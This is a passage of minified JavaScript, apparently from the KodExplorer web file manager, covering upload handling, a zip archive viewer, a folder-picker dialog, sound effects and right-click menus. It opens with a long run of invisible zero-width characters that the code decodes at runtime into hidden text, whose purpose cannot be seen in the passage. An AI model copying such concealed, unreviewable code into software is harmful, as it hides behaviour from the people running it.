‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a); +break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menufile",i=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc 